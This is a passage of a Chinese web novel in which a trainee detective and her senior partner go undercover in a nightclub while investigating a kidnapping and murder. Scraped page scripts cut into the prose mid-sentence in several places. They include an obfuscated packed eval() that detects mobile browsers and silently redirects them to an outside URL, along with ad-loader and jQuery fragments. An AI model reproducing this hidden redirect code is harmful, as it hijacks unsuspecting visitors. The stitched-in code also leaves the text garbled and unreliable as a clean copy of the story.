“想分直接分,有什么好查的,又不是打离婚官司要证据。万一查到你又不愿意分,多尴尬。” 马霜痕:“查到肯定分。” 温赛飞:“未必。” 马霜痕继续跟账单较劲,屏幕小得像故意作对,熬夜也加重重影,越看越心烦意乱。 温赛飞:“扫黄抓奸在床都能说盖被子纯聊天。” 实习时马霜痕扫过黄,只是没想那么快扫到男朋友。 她撅嘴,“总要死得明明白白。” “死什么死,”温赛飞放轻声音,带着莫名的柔情,“这叫放生。” “我快要比放生的王八还绿了,”铁汉安慰剂有一点效用,但马霜痕一口气还是没完全顺畅,“你被绿过吗?你们男人是不是觉得来这种地方不算出|轨?” 温赛飞冷笑,“其他男人犯的错,你要枪毙我?” 马霜痕意识到失态,改口:“对不起。” 温赛飞出其不意夺了她手机,熄屏,塞回她豁开的口袋,“别看了,傻子才拿别人的错误承认自己,早点睡觉。” 马霜痕往膝头支肘,捧着双颊苦恼道:“睡不着。” 本来每年的一月就入睡困难,现在又摊上感情问题,哪怕冰糖雪梨的糖分,都无法平息她的烦躁。 噔、噔、噔。 高跟鞋声音晃晃悠悠。 茶水间区别于走廊,没铺设静音毯,普通瓷砖方便清理。 庞秋怡扶着贩售机,偷瞥他们一眼,机器的白光将她一张脸打得惨白无比。她仍是没穿内|衣,两颗尖尖顶得奇高,骚气十足。 马霜痕闻声而醒,双目炯炯盯着目标人物。 身为同胞,马霜痕旋即读懂她的眼神。 尚涛有一点可能说错了,贴身跟踪小姐,可能男同志比女同志更合适,舍身为公,一招美男计即可放倒。 马霜痕没来由一阵反胃,丢下一句“我去睡了”,脚底抹油溜走,大头虾又落下了一瓶冰糖雪梨。 在庞秋怡眼里,这个新来的公主简直有割肉同享的傻气,大半夜竟然丢男朋友一个人在这里喂狼。 这个男人姿色堪比头牌男公关,不对,当男模都够用,当保安实属大材小用,唯一的缺点就是没钱。不过庞秋怡不缺钱,她们小姐收入多,除了陪酒的台费,出去“吃宵夜”的费用水色他乡管不着。每个月除了固定的美容整型费用,受够男人蹂|躏的小姐会花钱找鸭子享受服务。 “女朋友跟你吵架了?” 庞秋怡扭着软腰款款走近,带来一股浓烈的酒味,若不是隔着一瓶喝一半的冰糖雪梨,就要黏到温赛飞身上了。 温赛飞冷冷睨了庞秋怡一眼,掏出烟点上,就是这副不食人间烟火的冷漠,区别于一脸急色的男客,把庞秋怡迷得神魂颠倒。 “女人嘛,都是要哄的,脾气来得快,去得也快。” 多年烟酒侵蚀,庞秋怡一副嗓子夹得再用力,娇媚中仍不掩沙哑,在闹哄哄的包厢里不明显,安静时无处可藏。 温赛飞一口烟徐徐而出,没避开庞秋怡的脸,朦胧成一块盾牌。 “有事?” 这点小伎俩庞秋怡根本不在意,比起变态男客,温赛飞都算不上恶劣。 “帅哥,也给我一根烟。你叫唐什么来着?” 温赛飞不为所动,外套早遮住了工作服的铭牌。 庞秋怡没有知难而退,自己掏出烟盒倒出一根,夹在美甲妖娆的手上,使出待客的奇技淫巧,欠身要凑他的烟头上点火。 温赛飞警觉地闪身,居高临下看着庞秋怡扑空失控,一头栽进他刚坐过的位置。 庞秋怡狼狈又妩媚地支颐,委屈巴巴仰视着她得不到的唐僧肉。 这个唐冰龙可没唐僧的慈悲心肠,冷冰冰说:“困了就睡觉,喝多就打120。” 庞秋怡娇柔道:“天太冷了,我一个人睡不着,要是有个人抱着就好了。” “还没睡啊?” 熟悉的女声去而复返,马霜痕卸了妆,带着粉萌的兔子发带,趿拉着同系列棉鞋,清丽又脱俗。女人和男人看了都愣怔,一个知道达不到,一个知道得不到。 “我忘了我的冰糖雪梨。” 温赛飞朝沙发上的女人做了一个起开的手势,弯腰捡回冰糖雪梨,顺道往茶几掐了烟头。 回到马霜痕身旁,冰糖雪梨递过去,温赛飞的手自然搭到她肩上。 庞秋怡眼珠子都要瞪掉了。 “没打扰到你们吧?”马霜痕半抱着瓶子,鬼鬼祟祟打量温赛飞,毕竟她刚才的行为无异于未经批准临阵脱逃。 温赛飞的手滑过锁骨,压着衣领侧边,用点力掐了掐她,隐形锁喉警告似的。 “下次没我同意再自己跑开试试看。” 马霜痕把握不好心态,比起男朋友出|轨,目睹温赛飞和陪酒小姐亲近更为难受。前者差不多变成事实,冲击性过去就翻篇了。也许她给温赛飞造了神,心里无法接受他神格颠覆。 这一晚冲击接二连 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13613104|143157||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 三,马霜痕低头刮弄冰糖雪梨的瓶盖,一改往日活泼,蔫啦吧唧的。 温赛飞以为下重手了,在掐过的地方摩挲两下,打一棒子喂两颗甜枣似的。 马霜痕早忘了大棒,虽隔着衣服,史无前例的抚摸好似爱|抚,她脊梁僵了僵,每一根汗毛都在抵抗。 她的拘束波及到他的掌心,温赛飞回过神来,收了手。 “我到了。”马霜痕指了指开了一条缝的宿舍门,室友们的声音比刚才小了点。 温赛飞点点头,训她时犀利的眼神似有所收敛,甚至回避。 “晚安。”马霜痕从门缝里抿了抿嘴,想笑又笑不起。 温赛飞:“等等——” “嗯?”马霜痕探出一颗兔子脑袋,眨眨眼,无辜时气质跟她那个男朋友真是不相上下。 “今晚的情况,”温赛飞说,“写1000字书面检讨。” 马霜痕怀疑他在状况外,多说一句就穿帮,又挤出门口,左右看看提防隔墙有耳,“现在写什么检讨啊?!” 温赛飞转身丢下一句:“不然你写情书?” 地上,有个影子对他乱拳出击,他不着痕迹回头,马霜痕两只拳头硬生生撑成一副懒腰状。 果然只有工作能疗情伤。温赛飞这下没再回头。 马霜痕的室友大多只是躺下玩手机,有人睡不着,有人等天亮出去玩,作息时间并不统一。 她躺着琢磨检讨书任务的真实性。 还是第一个搭话的室友开口,“冯小南,今晚见到你男朋友了,巨巨巨帅,以后你俩的孩子肯定超级可爱。” 马霜痕第一反应对方在夸温赛飞,韩弋虽也清秀,一双小鹿眼楚楚无辜,行为相对幼稚,人格魅力比温赛飞差一截,远没到“巨巨”的程度。 “谈恋爱肯定要挑帅的。” 反正不是货真价实的男朋友,马霜痕吹上天都不算自卖自夸。 其他人七嘴八舌。 “冯小南,他来水色他乡上班你不怕吗,你也是美女,但是比你开放的美女多得是啊。” “是啊,冯小南,我都看出来有好几个公关想撩你男人。” “有个公关的亲哥之前也在保安队,叫什么来着,她哥最近不是跑路了吗。冯小南,你真得小心,她们陪酒的都要认个大哥当靠山。” 公关工作性质特殊,不会像普通服务生一样胸口挂铭牌,常以花名游走江湖。 马霜痕听过庞秋怡的自我介绍,问:“是叫秋秋吗?她哥跑哪去了?” 室友:“有人说躲澳门了,有人说去金三角,还有人说去东南亚,谁知道呢。” 涉及工作核心,马霜痕睡意越发稀缺,“她哥犯什么事了,跑那么快?” 室友:“不知道啊,不是欠债不还就是杀人放火吧。” 流言传到底层服务员耳朵都不知迭代了多少个版本,离谱多于真实,早已失去深究的意义,马霜痕忽然又失去劲头。 “听说她哥帮老板做事。”有一道异常平静的声音冷不防开口。 室友:“我们谁不是帮老板做事啊。” “做的事不一样吧,有一次秋秋喝高说漏嘴的。” 马霜痕从上铺探头找声源,大概属于下铺两个关闭的床帘中的一个。夜场从业人员流动性强,能知道一点内幕的人要么上去了,要么进去了,要么下去了。 “具体干的什么事?” 那道声音笑了下,“我要是知道,跑路的该是我了。” 马霜痕又排除了其中一个床帘,等明天看看此人铭牌,再打听多一点。 室友纳闷:“冯小南,你怎么对其他人的八卦那么感兴趣,就不担心你男人吗?” “担心也没用,绑住两条腿,还有第三条腿可以动。”马霜痕倒不是胡诌,只是表达粗鄙了一点,反而适合这些女孩子理解。 咯咯笑声贯穿整个宿舍。 还是那道冷静的声音:“你要是知道保安的隐形待遇,不知道你还能不能想得开。” 室友附和:“是哦,不止保安,在水色他乡上班的男的,或者老板的亲戚朋友,只要是男的,都可以试钟。” 会所的服务都按钟点来计费,加钟就是加服务时间,延长或升级服务内容。温赛飞可没给她恶补过试钟的名堂。 马霜痕:“试钟是什么?” 那道声音又笑,“果然还没知道。” 室友徐徐道来。 试钟说白了就是内测,陪酒小姐完成岗前培训之后,正式上岗前,会有专员来测试她们的服务能力是否合格。专员必须是男人,平常男客怎么玩陪酒小姐,专员就怎么玩,事后再评价质量。 试钟也是尝鲜。 今晚目睹的画面立刻浮现。 庞秋怡她们刚落座,韩弋的三个师兄便迫不及待搂进怀里,咸猪手搭上肩膀,再滑进衣领,抓啊揉啊。陪酒小姐们个个笑脸相迎,不住劝酒。 然后男人们蒙住眼,轮流摸胸识人,猜错名字的自罚三杯——酒就这么推销出去了。 这只是暖场游戏。 “听愣了?”还是那道声音。 马霜痕的脑袋砸回枕头,“当男人可真舒服。” 室友发话:“所以啊,看好你男人。” “他敢犯错,我就枪毙他。” 马霜痕清楚自己说的是谁。 8.第 8 章 昨天那道冷静的声音叫展红云,长相清秀,个头小小,21岁,其他信息不详,很少谈论自己,连读过高中也是说漏嘴。马霜痕的人设也是高中学历,说话俏皮多于粗鄙,展红云似乎挺乐意亲近她。 展红云没谈过恋爱,说看多了水色他乡的男客,更加没有恋爱的欲|望,男人都一个叼样,她只想多存点钱。 “钱存够了有什么打算,我就想回老家结婚。”马霜痕替冯小南说,也为后续离职做好铺垫。 “存够了再说。”展红云又守口如瓶。 马霜痕又问她,刚入职时,鸡头有没有怂恿她去陪酒。 展红云:“有啊,怎么没有。只要不是条件太差,都会问愿不愿意陪酒。条件差点也没事,他们会推荐整容贷,预付工资让你先整好了,以后再慢慢还。” 马霜痕故作惊讶,“万一整失败了怎么办?” “自认倒霉啊,整容费用还是要还。” 展红云耸耸肩,又强调一遍她才不会陪酒,只要存够钱就走。她已经来水色他乡大半年,最多坚持到过完暑假就走了。 暑假的表达有些微妙,如果打工多年远离寒暑假,一般多用月份表示时间,只有刚出校门不久才会保留这种说法。 马霜痕试探,“你还在上学吗,我感觉你应该读书挺好的样子。” 展红云怔忪一瞬,摇头说要忙去了。 她在撒谎。马霜痕可以用女人和刑警的复合直觉肯定。 展红云跟马霜痕八卦了许多水色他乡的轶事,从信息提取和表达能力来看,她确实胜其他服务员一筹。 庞秋怡最近老往保安队钻,四处打听摩旅的事。据说因为她认识一个男客很喜欢机车,她想多了解这方面的信息,增加共同话题,如果幸运的话,她就不用陪酒了。 包养在陪酒小姐间并不稀奇,有些当红小姐突然消失,大可能被哪个大老板包了。这一行来钱快,欲壑难填,即使年老色衰性病缠身也有自己的小市场,被打击过也能换个地方继续开张,除非想不开找老实男人结婚,很少小姐有见好就收的理智。 展红云也察觉到马霜痕的异常,“你好像对秋秋很感兴趣?” 马霜痕风轻云淡,“谁叫她对我男朋友很感兴趣。” 展红云笑了笑,打消疑虑。 花雨剑和蒙大利在外一路盯梢,庞秋怡的确经常上陌生男人的机车,起初以为是跟男客约会。整合里外探到的线索,推测庞秋怡可能在帮庞东洋准备交通工具。庞东洋驾驶五菱宏光离开海城,有可能换乘其他交通工具继续逃亡。 “机车跟面包车比有什么优势?”温赛飞的疑问更像对马霜痕的考核。 马霜痕想了想,“优势暂时没想到,缺点一大堆,大冬天还选择‘敞篷’的机车,确实难以理解。” 温赛飞心中有了想法,不着急公布答案,引导她继续思考,“今天几号?” “1月25日。” 话毕,讲话的和说话的都愣怔一瞬。 七年前的今天,他们在烧烤店第一次打照面。次日凌晨,嘉禾路发生了震惊海城的杀人焚尸案,他们目睹了爆炸现场。 “春运开始了。”温赛飞点醒她,重新将她带回朱子白绑架案。 马霜痕恍然,“高速天眼多,庞东洋跑不了。国道上交警设卡查车和疏通的情况比以往多,如果改成摩托,他大有可能抄小路或者山路。” 温赛飞点头,“还有一点,他有可能不需要带那么多‘行李’了。没有固定安全的场所,拆整为零的可能性比较少,‘行李’应该是整件抛弃。” 马霜痕怔了怔,“你是说,他已经处理掉了朱子白的尸体?” 温赛飞没有颔首,准备补充的一句被马霜痕抢白—— “只是老刑警的直觉,我知道,没证据之前不能往外说。” 冬阳稀薄的大清早,他们在海滨公园的长凳上吃着汉堡讨论,游人稀少,环境相对安全。庞秋怡也已外出,由花雨剑和蒙大利盯着,他们才算换班。这几天他们的作息与庞秋怡一致。 早餐纸袋放在各自身旁,中间别无他物,外套宽大,他们看起来亲密无间。 手机上是视频组反馈回来的庞东洋驾驶五菱宏光离城可能路线图,温赛飞不时放大细看,忽然说:“我也没多老……” 马霜痕可没顺他的意解释只是老经验的老,明显带着个人情绪,“你以前嫌弃我小,你就是老。” 这已经是她第二回旧事重提。 温赛飞:“多久前的事了,那么记仇……” 有人偏偏哪壶不开提哪壶,“你比我大7岁,是不是30了?” 温赛飞:“下个冬天的事,急什么。” 马霜痕嘿嘿一笑,倏尔收敛,“小飞哥,明天早上我能不能请假半天?” 温赛飞顿了顿,点头,拎起热咖啡眺望渺渺海湾,“七年了……” “是啊,”马霜痕淡淡说,“我从高一学生变成了见习警员,你从见习警员变成了重案队中队长。” “案子还是没破……” “总有一天会水落石出。” 他们四目相交,一个满眼歉意,一个饱含希望,那么矛盾,又那么和谐。 温赛飞受不住似的,先挪开眼,第一次跟她正面谈及案子和她的职业,“我不是打击你,你应该知道,案件侦办亲属要回避。” “嗯,”马霜痕也望向远方,“我只是想离他们近一点。” 马霜痕倒是不着痕迹离温赛飞又近一点,要咬耳朵说悄悄话似的。 温赛飞一记如常冷漠的眼神截住她,“卷宗也不能看。” “……” 马霜痕俏丽的五官皱成一团,无声无息挪回原位。 1月26日,今年没有霜的痕迹,海城23年来最冷的一天刻在她的名字和心里。 马霜痕一袭黑衣,捧着两束素白的菊花,打车来到盐山墓园。 “珊珊——” 墓园入口,两道熟悉的身影在等待,一道呼唤,一道招手,怀里捧着同样的花束,还有一袋元宝纸钱。 “小姨,阿弟。” 马霜痕含笑走近,“我以为你们赶不过来了。” 马淑瑜笑道:“我倒以为你在外地出任务,微信没有回复,电话打不通。” 无论多少次见到小姨,马霜痕都要恍惚一瞬,以前有次半夜惊醒,还直接喊了妈妈。谁叫她和马淑瑾是同卵双胞胎。 言佑嘉说:“我姐就算因公隐匿,都会偷溜出来的。” 马霜痕随口道:“还真给你猜对了。” 三人一齐往墓园里走,马霜痕站中间,一边挽着马淑瑜,一边给言佑嘉揽着肩膀。 越往墓园深处走,闲聊声越低沉,直到缄默不言。 合葬墓前早摆上一束新鲜的菊花,不具名,不迟到,年年如此。 墓碑上刻着两个卒日,彭建和的是1月25日,马淑瑾的是1月26日,孝女彭佩珊泣立,马霜痕上了大学后才想通缘故。父亲在爆炸前已经死亡,母亲尚有生命体征,终究敌不过大火。 马淑瑜跪在墓前烧元宝纸钱,“姐姐,姐夫,珊珊今年参加工作了,成了一名光荣的人民警察。你们的案子,珊珊和我们会努力到水落石出那一天。希望你们在天上保佑珊珊健健康康,每一次出任务平安回家。” 冬风听懂了亲人的思念,摇曳着花瓣,捎走了灰烬。 马霜痕伫立墓前,久久不语。 出墓园的路上,三人交换动态。马淑瑜的生意逐渐从北方的丰城移到南方的海城,年后大部分时间在海城办公室。言佑嘉刚考研完,没有意外的话,也会在海城读研究生。以后和她凑成特殊的一家三口。 至于马霜痕,不知道什么时候学会报喜不报忧,只说跟韩弋感情稳定,工作上领导和师父都照顾有加。 手机在马霜痕抵达墓园的那一刻响起,是工作机,唐冰龙来电。 她登时变得鬼祟,“喂,什么事?” 温赛飞:“忙完了?” 马霜痕奇道:“你怎么那么心有灵犀?” 温赛飞不接她的话茬,“过来东区入口,我车停这。” 唐冰龙可买不起代步车,两个轮子都买不起。 马霜痕放心问:“小飞哥,有新情况了?” 温赛飞:“发现疑似朱子白尸体了。” 马霜痕挂了电话,“小姨,阿弟,我要归队了。等忙完这一阵再跟你们吃饭。” 马淑瑜说:“你先忙,反正以后都在 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 海城,不着急赶这一餐。珊珊,你刚才说的小飞哥,是管姐姐案子那位温警官吗?” 马霜痕本来不想透露太多,让他们报太大希望,只好说:“现在已经是重案队中队长了,我的非直属领导。” 然后紧忙作别。 以生意人的办事风格,马淑瑜说不定又怂恿她逢年过节给温赛飞送礼,让人家对自家案子多上心一点。难怪过去两三年温赛飞都躲着她。 马霜痕坐上温赛飞的丰田离开盐山墓园,也不知道顺路接她还是一直等她。 “谢谢你的花,两三年没机会跟你说谢谢了。” 温赛飞低沉道:“等案子破了再说吧。” 马霜痕笑了下,“两码事。” 案子虽没破,无论作为办案警官,还是马霜痕的朋友,温赛飞这些年所做的一切可圈可点。 案发那年,温赛飞还是能力不足权力没有的见习警员,能做的也是打杂——那段时间,她就是他的工作内容。 温赛飞作为目击者做完笔录,又以警员身份陪伴她,等待她的小姨从丰城跨越大半个中国飞来海城。 从爆炸现场搬出两具尸体初步确认属于彭建和和马淑瑜,彭佩珊作为唯一的女儿前往认尸。 那时她只有16岁,只能想象到一个词,焦黑。 在停尸房前,温赛飞看出她的犹豫和恐惧,问:“你记忆中的爸爸妈妈是什么样子的?” 她愣了愣,说:“我爸很白,我妈说我一身冷白皮都是我爸的功劳。他很爱抽烟,但从来不在我们面前抽。我妈喜欢瑜伽,身体柔韧性很好,可惜我还是遗传了我爸的硬骨头。他们偶然晚上会吵架,但从来不当着我的面吵,逢年过节很注重仪式,‘珊庄’前院都是我爸送我妈的花。” 温赛飞说:“你可以保留爸爸妈妈在你心中的样子。” 她还是愣愣看着他,他宽大的夹克还在她身上,早被滚脏了。在她最迷惘无助的时候,温赛飞给她指了一条明路,多年来她一直很庆幸没踏入那道门。 这一刻的关怀成了温赛飞的“免死金牌”,往后哪怕他对她再冷漠,只要想起这一瞬,她可以在心里悄悄释怀。 丰田停在盐山区郊区一个停工的住宅楼工地外围,警戒线已然拉起,技术中队的人第一批进入了现场。 花雨剑和蒙大利迎上来,就等他们。 温赛飞示意副驾抽屉,“带个塑料袋。” 马霜痕拉开抽屉,抽出一个蛋糕店的袋子,质地厚硬,抻一抻滋啦响,“这个可以吗,干什么用的?” 温赛飞直接开门下车。 马霜痕比了下鞋长,可以当鞋套。 难道见习警员要自备鞋套? 她又翻出一个,叠好了一起兜着下车。 花雨剑迎面就说:“小飞哥,还真被你说对了,果然是全尸。” 温赛飞问:“载庞秋怡兜风那几个男青年,有线索了吗?” “小飞哥,还在查。” 蒙大利开始讲尸体发现情况。 这片工地因资金链断裂一直处于封闭状态,后来有人偷偷撬门往里倾倒装修垃圾,渐渐堆出几座垃圾山。报案人也是倒垃圾的司机之一,进来在车里都能闻到一股异臭,他循着异味发现有两只野狗刨出一只人手,已经腐烂生蛆了。 马霜痕跟在他们后头,越逼近尸体所在的垃圾山,类似死老鼠的味道越为浓烈,钻进鼻腔,直冲天灵盖。 她的胃部一片翻腾。 花雨剑和蒙大利捏起鼻子,不住扇风。 温赛飞跟丧失大部分嗅觉似的,只是皱了皱眉。 一个全副武装的女法医带着她的徒弟在忙活,尸体大部分呈现眼前,哪怕身上蒙装修颗粒,蛆虫仍不住蠕动,一只手被狗啃残了好一截,面目狰狞,视觉冲击强烈。 哕—— 马霜痕呕出一个危险的声音,立刻双手捂嘴。 四道目光利箭般射来,女法医好像也要吐槽,温赛飞早有预判似的,抢先一步,“出外面吐,别污染现场。” 挨骂归挨骂,被自己人骂总归好过比外人骂。 马霜痕扭头麻溜地滚,下意识找袋子,手进口袋滋啦响,立刻摸到了—— 小飞哥牌呕吐袋,双份大容量。 9.第 9 章 马霜痕吐空了,用矿泉水漱了口才重返现场。 现场勘察组那边差不多完工,法医这边也将尸体装袋搬走,带回队里进一步解剖。 “报告什么时候能出?”这是温赛飞每回最关心的问题。 法医陈忠钰盯着同事搬尸体,隔着护目镜白他一眼,“你能不能换个问题,天天催催催。” 温赛飞只肯换个角度,“天黑之前?” “心急吃不了热豆腐。”陈忠钰不疾不徐,眼神扫过马霜痕,不由停了下。 花雨剑介绍,“忠钰姐,这我徒弟小马,刚毕业来的。” “忠钰姐好。”马霜痕立刻灵醒问好。 陈忠钰睨了温赛飞一眼,“原来是捞剑徒弟,我还以是你们小飞哥的。” 此话一出,蒙大利妒意大发,进重案队大半年,连小飞哥衣角都没摸到,小马都快成小飞哥的公认徒弟了。 花雨剑没皮没脸笑道:“忠钰姐,别说小马,连我这个小马师父都要跟小飞哥多学习。” 陈忠钰回到自己车边,除掉整套防护,才跟温赛飞介绍初步情况。 尸体埋在其中一堆垃圾山,躯干左侧被破坏较为严重,左手掌整个缺失,手臂出现多处啃噬缺口,推测为野狗所咬,其余地方没有明显外伤,头骨完整,没有明显中毒特征,死亡时间大概在十天以前,具体死因有待验证。 “从衣着、残留物件和身高体型来看,大概率是朱子白。”陈忠钰最后说。 结论一旦白纸黑字呈现,意味绑架案正式升级为绑架杀人案,肩上压力从无形增加。 “辛苦了。”温赛飞说。 陈忠钰的兴趣点从死人转到活人身上,望向远处跟着花雨剑东看西看记笔记的小女警,“天天跟这么貌美如花的小姑娘出外勤,你女朋友不担心你?” 老熟人面前温赛飞没有装蒜的必要,坦言:“哪来的女朋友。” “你少装,你们重案队的都这么说,还是涛哥公布的,什么时候给我们发喜糖?” 陈忠钰当初花了多久相信传言,现在就得花多少时间重新认定事实。 温赛飞:“涛哥那张嘴除了说案子你能信?” 陈忠钰仍是将信将疑,“涛哥都会造谣?” 温赛飞狐假虎威,“早点出报告,不然涛哥说你孩子都会打酱油了。” “哎——”陈忠钰扬手要敲她爆栗,身手哪及得上重案队中队长,早给闪开了。 温赛飞笑着朝工地里扬声,“大头虾,走了。” “来了,小飞哥。”小姑娘屁颠颠跑过来。 陈忠钰一时不确定温赛飞的笑容给谁的,古怪道:“好好的小姑娘,怎么叫人家大头虾?” “本来就是大头虾。” 温赛飞没留意带了点宠溺的意味,谁不知道重案队的小飞哥要求严格,办案稍有不慎就被讽刺得体无完肤,身边竟然能容下一只大头虾。 陈忠钰不禁又多看了马霜痕两眼,女警能考入刑警队能力定然鹤立鸡群,比男警付出更多,又顶着一张同样出众的漂亮脸蛋,进了和尚庙难怪会被惦记。 温赛飞回头跟花雨剑打招呼,“捞剑,这个我拎走了。” 花雨剑随意摇手,早走早清净一般,师徒情分堪忧。 回到副驾,马霜痕的肚子先于引擎叫了一声,密闭车厢放大了滑稽感。 温赛飞唇角噙着笑,“去吃饭。” 马霜痕略有尴尬,没话找话,“小飞哥,你第一次出命案现场,应该没像我一样大吐特吐吧。” 温赛飞一时没接话。 等丰田拐出封闭工地的烂路,车况平稳,马霜痕又问一遍,“小飞哥,你到底有没有吐呀?” “没有。”温赛飞干脆又吝啬扔出两个字。 “还是你厉害,小飞哥。”马霜痕的夸赞一向真诚,让人很受用。 温赛飞似有一点无奈,不禁抚了下方向盘,“第一次是跟你在一起。” 马霜痕回过神,讪讪接茬,“是哦。” 他们凑巧一起目睹嘉禾路1·26杀人焚尸案爆炸现场,也是这桩命案积案让他们七年来藕断丝连。 “小飞哥,”马霜痕脑袋支在窗框上,略显困乏,“我有时候在想,如果那晚你没有折回烧烤店帮我拿钥匙,而是直接送我回家,说不定我也灰飞烟灭了。” 温赛飞淡淡道:“大头虾救了你一命。” 马霜痕盯着他立体的侧脸,摇头,笃定道:“你救了我一命。如果你拒绝回去拿钥匙,我是一点办法也没有。你就是我的救命恩人。” 她说话目的性不强,漂亮话没有马屁感。 恩人的名号太重,温赛飞不想承受,“你福大命大,跟我没有关系。即使没有我,你也会有其他方式避祸。” 听在马霜痕耳朵里,温赛飞像着急跟她撇清干系似的。 “我说是就是,你说不管用。” 赌气的口吻听着像撒娇,温赛飞好一阵沉默。马霜痕似乎又过线了,刚从命案现场出来,他们该是上下级关系。 “什么时候开始有这个想法?” 温赛飞冷不防又开口,吓她一跳。 马霜痕坐直了,认真说:“以前就有。” 温赛飞:“现在呢?” 马霜痕奇怪道:“这是既定事实,以前这样想,现在也这样想,以后一辈子都不会改变。” 温赛飞又没再接话,眉心微拧,平日犀利的眉眼覆上一层阴郁。没有音乐的车厢笼罩着沉默,比冷场还微妙,算不上尴尬,只是莫名令人难过。 “我应该没给你造成困扰吧。”马霜痕自我开解,话毕反思,可能真有一点。 高一下学期开学前,马淑瑜办好改名和转学手续,带她回妈妈的家乡丰城生活。 她要了温赛飞的联系方式,哪怕他微信朋友圈除了转发通知就是宣传反诈,她也能找到话题隔三差五联系他。寒假打听案件进展,暑假问公大报考条件,平时问公大日常。除了因公隐匿,温赛飞基本有问必答。 温赛飞跟马淑瑜一样,不赞成她报考公大,按以前父母的规划,她应该申请国外本科,读经管类专业,最迟研究生也要出国,家变后就算打折也应该读一个普通专业。 温赛飞作为业内人士,意见更具参考性,但在她身上没有实用性。她还是欢欢喜喜进了公大侦查学专业。 到了公大,大学生活新鲜丰富又紧张,她也没晾着温赛飞,不时问候他:你什么时候来北京出差,记得来母校看看小师妹我。 [Safari:看其他小师妹,不看你。] [马蹄爽:不行。] 她发了一个直戳鼻梁的表情包。 当晚温赛飞再没回复,后来才说那晚喝高乱回的。 也许她上了大学,跨过18岁的门槛,温赛飞对她换了一种眼光,当成年异性平视了。不经意的暧昧勾人心火,足以让她结束日复一日枯燥的训练后,立刻找手机翻微信。 “有我也没办法。”马霜痕又嘀咕,小嘴撅得可以挂油壶,像只傲娇的猫。 温赛飞分神瞥她一眼,被她逗乐似的,表情有所松动,“困扰倒没有,专门坑我而已。” 温赛飞后来在她大一下学期开学不久去北京学习培训,的确抽空去了公大。过去三年,她每年寒假回海城扫墓,都会去刑警大队打听案子进展,领导一直派温赛飞接待。这还是温赛飞主动来找她。 他们去清吧喝了酒,生理期和酒精放倒了她,温赛飞半扶半抱晕乎乎的她,在酒店前台又碰上新的难题。 那段时间北京严打,不知道他长得不像好人,还是她神志不清太无辜,前 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 台磨磨蹭蹭,各种系统问题等他稍等。 温赛飞等来了同行。 片警说:“请配合检查,出示一下身份证。你认识她吗,她叫什么名字?” 堂堂的温警官第一次坐上了嫌犯的席位,被怀疑“捡尸”了。 多一事不如少一事,温赛飞只出示身份证,没掏警察证,示意一下被女警照看的她,“彭佩珊。” 女警只从马霜痕的口袋找到公大学生证,翻到名字蹙眉,“她不叫彭佩珊。” 温赛飞不由分说夺过学生证检查,蓝底一寸证件照上的预备警官英气十足,难以想象就是沙发上仰面躺倒的大头虾,名字确实不是彭佩珊,叫马霜痕,奇奇怪怪的名字。 旋即,他想通了缘由,“她改名了,我告诉她身份证号,你在警务通查一下曾用名。” 片警听到“警务通”后眼神微妙,“你也是警察?” “我也是警察。”沙发上的大头虾迷迷糊糊。 “你叫什么名字?”女警不放心直接问。 “皮皮虾,”她忽然清醒了一点,声音含糊娇憨,“啊,不对,我以前叫皮皮虾,现在叫马爽。” 温赛飞黑着脸对片警说:“查身份证号。” 酒醒后,温赛飞对她“严刑拷打”,问:“为什么改名不告诉我?” 她挺有自己的理儿,“干啥告诉你,你又没叫过我名字。” “行,以后就叫大头虾。” 拜她所赐,温赛飞经历了很多离谱的第一次。 她问:“你不好奇为什么叫这个名吗?” 他默了默,才说:“不用好奇,我都记得。” 温赛飞将丰田停在青松苑,才和马霜痕一起吃饭回水色他乡。 今天临时归队一趟,作息时间混乱,马霜痕打着哈欠等房。 鸡头急急忙忙跑过来,“哎哟,那个冯小南,你来了正好,你准备带客人去‘水调歌头’。” 马霜痕纳闷,“哥,我不是三字房的吗?” 鸡头:“管你三字房还是四字房,这不缺人吗,临时请假了几个。冯小南,哥跟你说,一会来的是老板的朋友,你可得好生伺候,出岔子不止是掉饭碗的事。” 马霜痕不要命问:“难道要掉脑袋?” 鸡头如受惊吓,“我可不敢保证。” 马霜痕猜不透是否玩笑,只得说:“请哥放心,我会努力做好我的本职工作。” 半小时后,马霜痕迎来了“水调歌头”的客人。 一个高壮如熊,生了一张滑稽的香肠嘴,像被蜜蜂叮肿了似的,鸡头笑脸称他一声“蟹哥”,而另一名客人直呼他“烂口蟹”。 另一个叫蚂蚁伟,干瘦头小,像被夹扁一样。 鸡头热情迎客,“蚂蚁哥,蟹哥,两位老板总算来了。怎么今晚没有看到孖蛇哥?” “别提孖蛇这个衰佬,听说来了新茶,怎么没见你通知我?” 烂口蟹一开口,一股不塞尸臭的口臭袭来,果然名副其实。 鸡头赔笑,“蟹哥,每次上新我都微信通知的呀,可能您太忙消息太多忘记看了。今晚新茶全上了,一定让两位老板满意。” 烂口蟹的眼神忽然落在准备领路的马霜痕身上,色眯眯的,不加掩饰,令人不适,马霜痕周身如千万只蚂蚁爬过。 烂口蟹摸着下巴,“这个美女好眼熟,我好像在哪里见过。” 搭讪方式拙劣不堪,若放平常,马霜痕不会多给一个眼神。 此刻不由心惊,难道哪里露马脚暴露身份了? 马霜痕随即否定了这种猜测,她只是一个连正式警号都没有的见习警员,不至于扬名灰色地带。 不待马霜痕接茬,烂口蟹表演单口相声似的,咧嘴笑,“我知道了,一定是在梦里见过你,春梦里,哈哈哈哈。” 10.第 10 章 若放平时,哪个男人敢调|戏,马霜痕早薅他衣领,甩一耳光让他冷静冷静。 现在只能打碎牙齿和血吞。 水色他乡能在海城屹立不倒,其背后靠山不可小觑,马霜痕潜伏在龙潭虎穴,谨慎为上,不可任性。 